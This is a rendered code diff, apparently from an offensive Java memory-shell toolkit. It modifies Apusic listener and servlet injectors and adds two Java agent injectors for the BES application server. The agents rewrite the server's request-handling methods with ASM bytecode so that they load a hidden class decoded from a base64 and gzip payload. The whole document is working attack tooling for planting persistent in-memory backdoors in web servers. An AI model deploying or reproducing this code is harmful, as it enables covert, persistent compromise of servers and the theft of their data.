ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
+9
-4
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class ApusicListenerInjector {
|
||||
static {
|
||||
new ApusicListenerInjector();
|
||||
}
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
try {
|
||||
@@ -54,9 +51,17 @@ public class ApusicListenerInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
+9
-5
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicServletInjector {
|
||||
|
||||
static {
|
||||
new ApusicServletInjector();
|
||||
}
|
||||
|
||||
public ApusicServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
@@ -55,9 +51,17 @@ public class ApusicServletInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
+219
@@ -0,0 +1,219 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesContextValveAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
+219
@@ -0,0 +1,219 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user